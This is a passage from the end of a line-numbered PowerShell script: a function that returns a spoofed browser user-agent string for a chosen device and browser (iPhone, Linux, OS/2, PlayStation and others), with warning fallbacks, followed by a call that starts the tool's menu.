Gecko) FxiOS/1.0 Mobile/12F69 Safari/600.1.4' 3844 | } elseif ($Browser -eq 'Edge') { 3845 | $UserAgent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 12_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.1 EdgiOS/44.5.0.10 Mobile/15E148 Safari/604.1' 3846 | } elseif ($Browser -eq 'Safari') { 3847 | $UserAgent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1' 3848 | } else { 3849 | Write-Warning "Device platform not found, defaulting to iPhone/Safari" 3850 | $UserAgent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1' 3851 | } 3852 | } elseif ($Device -eq 'Linux') { 3853 | if ($Browser -eq 'Chrome') { 3854 | $UserAgent = 'Mozilla/5.0 (M12; Linux X12-12) AppleWebKit/806.12 (KHTML, like Gecko) Ubuntu/23.04 Chrome/113.0.5672.63 Safari/16.4.1' 3855 | } elseif ($Browser -eq 'Firefox') { 3856 | $UserAgent = 'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.14) Gecko/2009090217 Ubuntu/9.04 (jaunty) Firefox/52.7.3' 3857 | } elseif ($Browser -eq 'Edge') { 3858 | $UserAgent = 'Mozilla/5.0 (Wayland; Linux x86_64; Surface) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Ubuntu/23.04 Edg/114.0.1823.43' 3859 | } else { 3860 | Write-Warning "Device platform not found, defaulting to Linux/Firefox" 3861 | $UserAgent = 'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.14) Gecko/2009090217 Ubuntu/9.04 (jaunty) Firefox/52.7.3' 3862 | } 3863 | } elseif ($Device -eq 'OS/2') { 3864 | if ($Browser -eq 'Firefox') { 3865 | $UserAgent = 'Mozilla/5.0 (OS/2; U; Warp 4.5; en-US; rv:80.7.12) Gecko/20050922 Firefox/80.0.7' 3866 | } else { 3867 | Write-Warning "Device platform not found, defaulting to OS/2 Firefox" 3868 | $UserAgent = 'Mozilla/5.0 (OS/2; U; Warp 4.5; en-US; rv:80.7.12) Gecko/20050922 Firefox/80.0.7' 3869 | } 3870 | } elseif ($Device -eq 'Playstation') { 3871 | if ($Browser -eq 'Firefox') { 3872 | $UserAgent = 'Mozilla/5.0 (PlayStation 5 3.03/SmartTV) AppleWebKit/605.1.15 (KHTML, like Gecko)' 3873 | } else { 3874 | Write-Warning "Device platform not found, defaulting to PlayStation Firefox" 3875 | $UserAgent = 'Mozilla/5.0 (PlayStation 5 3.03/SmartTV) AppleWebKit/605.1.15 (KHTML, like Gecko)' 3876 | } 3877 | } else { 3878 | if ($Browser -eq 'Android') { 3879 | Write-Warning "Device platform not found, defaulting to Android" 3880 | $UserAgent = 'Mozilla/5.0 (Linux; U; Android 4.0.2; en-us; Galaxy Nexus Build/ICL53F) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30' 3881 | } elseif ($Browser -eq 'IE') { 3882 | Write-Warning "Device platform not found, defaulting to Windows/IE" 3883 | $UserAgent = 'Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko' 3884 | } elseif ($Browser -eq 'Chrome') { 3885 | Write-Warning "Device platform not found, defaulting to macos/Chrome" 3886 | $UserAgent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36' 3887 | } elseif ($Browser -eq 'Firefox') { 3888 | Write-Warning "Device platform not found, defaulting to Windows/Firefox" 3889 | $UserAgent = 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:70.0) Gecko/20100101 Firefox/70.0' 3890 | } elseif ($Browser -eq 'Safari') { 3891 | Write-Warning "Device platform not found, defaulting to Safari" 3892 | $UserAgent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Safari/605.1.15' 3893 | } else { 3894 | Write-Warning "Device platform not found, defaulting to Windows/Edge" 3895 | $UserAgent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19042' 3896 | } 3897 | } 3898 | Write-Host ("$UserAgent") 3899 | return $UserAgent 3900 | } 3901 | } 3902 | 3903 | 3904 | # Start the tool 3905 | ToolMenu 3906 | --------------------------------------------------------------------------------